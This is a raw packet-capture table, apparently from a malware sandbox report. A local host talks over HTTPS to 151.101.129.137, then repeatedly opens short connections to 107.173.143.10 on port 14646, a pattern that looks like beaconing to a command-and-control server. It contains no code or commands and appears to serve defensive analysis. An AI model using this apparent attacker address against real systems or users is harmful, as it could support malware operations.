Dec 12, 2024 21:57:01.850090981 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:01.850090981 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:01.850090981 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:01.850162983 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:01.857523918 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:01.857534885 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:01.857568979 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:01.857587099 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:01.857696056 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:01.857697010 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:01.857697010 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:01.857768059 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:01.864494085 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:01.864523888 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:01.864533901 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:01.864551067 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:01.864595890 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:01.864595890 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:01.864662886 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:01.864715099 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:01.864715099 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:01.872474909 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:01.872509003 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:01.872657061 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:01.872657061 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:01.872657061 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:01.872730017 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:01.880036116 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:01.880074024 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:01.880215883 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:01.880215883 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:01.880217075 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:01.880284071 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:01.917689085 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:01.917732000 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:01.917766094 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:01.917802095 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:01.917820930 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:01.917820930 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:01.924468040 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:01.924499989 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:01.924535990 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:01.924570084 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:01.924587965 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:01.924587965 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.035470963 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.035511971 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.035551071 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.035590887 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.035609961 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.035623074 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.041655064 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.041666031 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.041693926 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.041706085 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.041717052 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.041724920 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.041739941 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.041749001 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.041785002 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.049662113 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.049673080 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.049705029 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.049745083 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.049789906 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.049833059 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.049833059 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.057744026 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.057777882 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.057811022 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.057842016 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.057873011 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.057873011 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.064620018 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.064651012 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.064701080 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.064701080 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.064739943 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.064778090 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.073193073 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.073229074 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.073276043 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.073301077 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.073326111 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.109817982 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.109850883 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.109889984 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.109919071 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.109944105 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.109982967 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.116091967 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.116141081 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.116308928 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.116326094 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.227696896 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.227786064 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.227788925 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.227818012 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.227840900 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.227880001 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.242722034 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.242733002 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.242762089 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.242772102 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.242785931 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.242815018 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.242832899 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.242846012 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.245134115 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.245145082 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.245193005 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.245207071 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.245263100 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.245307922 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.245315075 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.249946117 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.249975920 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.250011921 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.250025988 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.250045061 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.250072002 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.256944895 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.256980896 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.257006884 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.257019043 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.257035017 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.257067919 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.265582085 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.265614033 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.265644073 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.265654087 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.265671015 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.265695095 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.304816008 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.304853916 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.304908991 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.304909945 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.304974079 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.305018902 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.310991049 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.311027050 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.311059952 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.311081886 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.311108112 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.311109066 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.420299053 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.420331001 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.420404911 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.420406103 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.420475960 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.426345110 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.426379919 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.426389933 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.426413059 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.426444054 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.426444054 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.426480055 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.426506042 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.435477018 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.435507059 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.435539007 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.435539961 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.435559988 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.435574055 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.435602903 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.435992956 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.443859100 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.443887949 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.443932056 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.443938971 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.443952084 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.445848942 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.450284958 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.450316906 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.450362921 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.450381041 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.450403929 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.450452089 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.457793951 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.457824945 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.457859993 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.457876921 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.457902908 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.457902908 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.496635914 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.496669054 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.496786118 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.496786118 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.496786118 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.496823072 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.503690004 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.503719091 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.503753901 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.503779888 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.503809929 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.503809929 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.576215029 CET	14646	49175	107.173.143.10	192.168.2.22
Dec 12, 2024 21:57:02.576404095 CET	49175	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:02.576404095 CET	49175	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:02.611931086 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.611963987 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.612020016 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.612020016 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.612088919 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.612133026 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.618367910 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.618377924 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.618406057 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.618415117 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.618437052 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.618473053 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.618503094 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.618503094 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.627487898 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.627500057 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.627545118 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.627553940 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.627561092 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.627577066 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.627594948 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.627631903 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.634466887 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.634500027 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.634527922 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.634538889 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.634553909 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.634593964 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.642446995 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.642479897 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.642518997 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.642553091 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.642574072 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.642574072 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.650079966 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.650124073 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.650136948 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.650146008 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.650175095 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.692723989 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.692799091 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.692804098 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.692826033 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.692863941 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.696624041 CET	14646	49175	107.173.143.10	192.168.2.22
Dec 12, 2024 21:57:02.700233936 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.700270891 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.700300932 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.700320959 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.700335979 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.700346947 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.911374092 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:02.911470890 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:02.911470890 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:03.035502911 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:03.035542965 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:03.035566092 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:03.035588026 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:03.035603046 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:03.035603046 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:03.035633087 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:03.037511110 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:03.037544012 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:03.037564039 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:03.037573099 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:03.037585020 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:03.037585020 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:03.037610054 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:03.040108919 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:03.040143967 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:03.040158987 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:03.040165901 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:03.040194035 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:03.040942907 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:03.040991068 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:03.040999889 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:03.041029930 CET	443	49174	151.101.129.137	192.168.2.22
Dec 12, 2024 21:57:03.041069031 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:03.041452885 CET	49174	443	192.168.2.22	151.101.129.137
Dec 12, 2024 21:57:03.931874037 CET	49176	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:04.051745892 CET	14646	49176	107.173.143.10	192.168.2.22
Dec 12, 2024 21:57:04.051820993 CET	49176	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:04.054855108 CET	49176	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:04.174727917 CET	14646	49176	107.173.143.10	192.168.2.22
Dec 12, 2024 21:57:06.014693022 CET	14646	49176	107.173.143.10	192.168.2.22
Dec 12, 2024 21:57:06.014903069 CET	49176	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:06.014903069 CET	49176	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:06.135267973 CET	14646	49176	107.173.143.10	192.168.2.22
Dec 12, 2024 21:57:07.367036104 CET	49177	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:07.488044977 CET	14646	49177	107.173.143.10	192.168.2.22
Dec 12, 2024 21:57:07.488116026 CET	49177	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:07.491075993 CET	49177	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:07.612504959 CET	14646	49177	107.173.143.10	192.168.2.22
Dec 12, 2024 21:57:09.448368073 CET	14646	49177	107.173.143.10	192.168.2.22
Dec 12, 2024 21:57:09.448447943 CET	49177	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:09.448533058 CET	49177	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:09.568270922 CET	14646	49177	107.173.143.10	192.168.2.22
Dec 12, 2024 21:57:10.619266987 CET	49178	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:10.739377022 CET	14646	49178	107.173.143.10	192.168.2.22
Dec 12, 2024 21:57:10.739691019 CET	49178	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:10.742748976 CET	49178	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:10.862529039 CET	14646	49178	107.173.143.10	192.168.2.22
Dec 12, 2024 21:57:12.694633007 CET	14646	49178	107.173.143.10	192.168.2.22
Dec 12, 2024 21:57:12.694844961 CET	49178	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:12.742034912 CET	49178	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:12.862322092 CET	14646	49178	107.173.143.10	192.168.2.22
Dec 12, 2024 21:57:13.954581976 CET	49179	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:14.075292110 CET	14646	49179	107.173.143.10	192.168.2.22
Dec 12, 2024 21:57:14.075495958 CET	49179	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:14.080425978 CET	49179	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:14.200719118 CET	14646	49179	107.173.143.10	192.168.2.22
Dec 12, 2024 21:57:16.011303902 CET	14646	49179	107.173.143.10	192.168.2.22
Dec 12, 2024 21:57:16.011490107 CET	49179	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:16.011491060 CET	49179	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:16.132745981 CET	14646	49179	107.173.143.10	192.168.2.22
Dec 12, 2024 21:57:17.154628038 CET	49180	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:17.274729967 CET	14646	49180	107.173.143.10	192.168.2.22
Dec 12, 2024 21:57:17.274833918 CET	49180	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:17.277838945 CET	49180	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:17.397767067 CET	14646	49180	107.173.143.10	192.168.2.22
Dec 12, 2024 21:57:19.213783026 CET	14646	49180	107.173.143.10	192.168.2.22
Dec 12, 2024 21:57:19.213985920 CET	49180	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:19.213985920 CET	49180	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:19.341228008 CET	14646	49180	107.173.143.10	192.168.2.22
Dec 12, 2024 21:57:20.366604090 CET	49181	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:20.487626076 CET	14646	49181	107.173.143.10	192.168.2.22
Dec 12, 2024 21:57:20.487814903 CET	49181	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:20.490745068 CET	49181	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:20.611478090 CET	14646	49181	107.173.143.10	192.168.2.22
Dec 12, 2024 21:57:22.451715946 CET	14646	49181	107.173.143.10	192.168.2.22
Dec 12, 2024 21:57:22.451776981 CET	49181	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:22.451836109 CET	49181	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:22.571980000 CET	14646	49181	107.173.143.10	192.168.2.22
Dec 12, 2024 21:57:23.795526028 CET	49182	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:23.915877104 CET	14646	49182	107.173.143.10	192.168.2.22
Dec 12, 2024 21:57:23.916028976 CET	49182	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:23.918982983 CET	49182	14646	192.168.2.22	107.173.143.10
Dec 12, 2024 21:57:24.039211988 CET	14646	49182	107.173.143.10	192.168.2.22
Dec 12, 2024 21:57:25.855155945 CET	14646	49182	107.173.143.10	192.168.2.22
Dec 12, 2024 21:57:25.855360031 CET	49182	14646	192.168.2.22	107.173.143.10
